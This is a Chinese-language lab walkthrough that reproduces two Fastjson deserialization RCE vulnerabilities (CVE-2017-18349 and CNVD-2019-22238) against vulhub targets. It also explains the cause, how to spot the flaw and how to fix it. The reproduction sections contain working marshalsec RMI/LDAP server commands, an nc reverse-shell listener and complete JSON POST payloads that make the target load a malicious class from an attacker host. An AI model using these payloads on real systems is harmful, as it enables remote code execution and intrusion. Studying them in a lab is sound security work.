当前位置: 首页 > news >正文

04-Fastjson反序列化漏洞

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

1、Fastjson介绍

2、漏洞复现

2.1、1.2.24 RCE CVE-2017-18349

  1. vulhub启动靶场
    在这里插入图片描述
    启动成功
    在这里插入图片描述

  2. Kali 用marshalsec启动LDAP/RMI服务

在这里插入图片描述

  1. Kali 用python启动HTTP服务,存放恶意类

这是我们的恶意代码
在这里插入图片描述
在jdk的bin目录下编译恶意文件
在这里插入图片描述
在这里插入图片描述
可以通过访问看有没有启动成功
在这里插入图片描述

  1. Kali 用netcat监听端口,建立反弹连接
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473

在这里插入图片描述

5、发送payload

POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch", "autoCommit": true}
}

在这里插入图片描述

结果
先后连接成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件

2.2、1.2.47 RCE CNVD-2019-22238

绕过原理

在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

  1. 启动靶场
    在这里插入图片描述
  2. kali启动监听
nc -lvp 9001

在这里插入图片描述

  1. Kali 用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
  1. 恶意类,对其进行编译等等。跟上面步骤一样。
    在这里插入图片描述
  2. 放入到对应文件夹中并启动http服务
    在这里插入图片描述
  3. 发送payload
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268{"a":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers", "autoCommit":true}
}

连接成功

在这里插入图片描述

3、漏洞原理

1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
3、connect()调用lookup()连接到LDAP/RMI服务器
4、下载恶意代码到本地,执行,攻击发生

4、漏洞挖掘思路

  1. 找到发送JSON序列化数据的接口
  2. 判断是否使用fastjon
    非法格式报错
    {“x”:"
    在这里插入图片描述
    在这里插入图片描述

Burp 插件
https://github.com/zilong3033/fastjsonScan

5、漏洞修复

  1. 升级JDK
    6u211 / 7u201 / 8u191 /11.0.1
  2. 升级Fastjson到最新版
    fastjson.parser.safeMode=true
  3. 使用安全产品过滤非法内容
  4. 更换其它序列化工具
    Jackson/Gson

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 麻雀搜索算法(SSA)与长短期记忆网络(LSTM)结合的预测模型(SSA-LSTM)的Python 和 MATLAB实现
  • 文档在线预览:keking/kkFileView踩坑记
  • 精通Perl代码优化:释放自定义优化技术的力量
  • 微软蓝屏事件:全球网络安全与系统稳定性的警示
  • Unity获取Animator动画播放完成事件
  • 第三十一天 chrome调试工具
  • 2023-2024年 Java开发岗面试题经验分享
  • ESP32是什么?
  • C++函数详解:全面指南
  • 什么是API 网关?为什么要 API网关?
  • AI应用开发前景与目标
  • vitis (eclipse) 的Indexer不能搜索、不能跳转到函数和变量定义和声明不能打开调用层次的解决方法
  • iOS ------RunLoop
  • [Spring] SpringBoot统一功能处理与图书管理系统
  • Rust的运行时多态
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • 〔开发系列〕一次关于小程序开发的深度总结
  • ABAP的include关键字,Java的import, C的include和C4C ABSL 的import比较
  • in typeof instanceof ===这些运算符有什么作用
  • JAVA之继承和多态
  • JS函数式编程 数组部分风格 ES6版
  • LeetCode刷题——29. Divide Two Integers(Part 1靠自己)
  • NSTimer学习笔记
  • Spring思维导图,让Spring不再难懂(mvc篇)
  • storm drpc实例
  • vue的全局变量和全局拦截请求器
  • weex踩坑之旅第一弹 ~ 搭建具有入口文件的weex脚手架
  • 前端
  • 前端每日实战 2018 年 7 月份项目汇总(共 29 个项目)
  • 使用Maven插件构建SpringBoot项目,生成Docker镜像push到DockerHub上
  • 我的面试准备过程--容器(更新中)
  • 小程序上传图片到七牛云(支持多张上传,预览,删除)
  • 一道面试题引发的“血案”
  • 一些基于React、Vue、Node.js、MongoDB技术栈的实践项目
  • 用Canvas画一棵二叉树
  • 整理一些计算机基础知识!
  • # Pytorch 中可以直接调用的Loss Functions总结:
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (板子)A* astar算法,AcWing第k短路+八数码 带注释
  • (超详细)2-YOLOV5改进-添加SimAM注意力机制
  • (附源码)springboot教学评价 毕业设计 641310
  • (附源码)springboot码头作业管理系统 毕业设计 341654
  • (附源码)springboot掌上博客系统 毕业设计063131
  • (附源码)基于SpringBoot和Vue的厨到家服务平台的设计与实现 毕业设计 063133
  • (剑指Offer)面试题41:和为s的连续正数序列
  • (五)大数据实战——使用模板虚拟机实现hadoop集群虚拟机克隆及网络相关配置
  • (一)基于IDEA的JAVA基础12
  • (原創) 如何解决make kernel时『clock skew detected』的warning? (OS) (Linux)
  • (转)ObjectiveC 深浅拷贝学习
  • (转载)CentOS查看系统信息|CentOS查看命令
  • *算法训练(leetcode)第四十五天 | 101. 孤岛的总面积、102. 沉没孤岛、103. 水流问题、104. 建造最大岛屿
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布
  • .net core Swagger 过滤部分Api
  • .NET基础篇——反射的奥妙
  • .NET设计模式(2):单件模式(Singleton Pattern)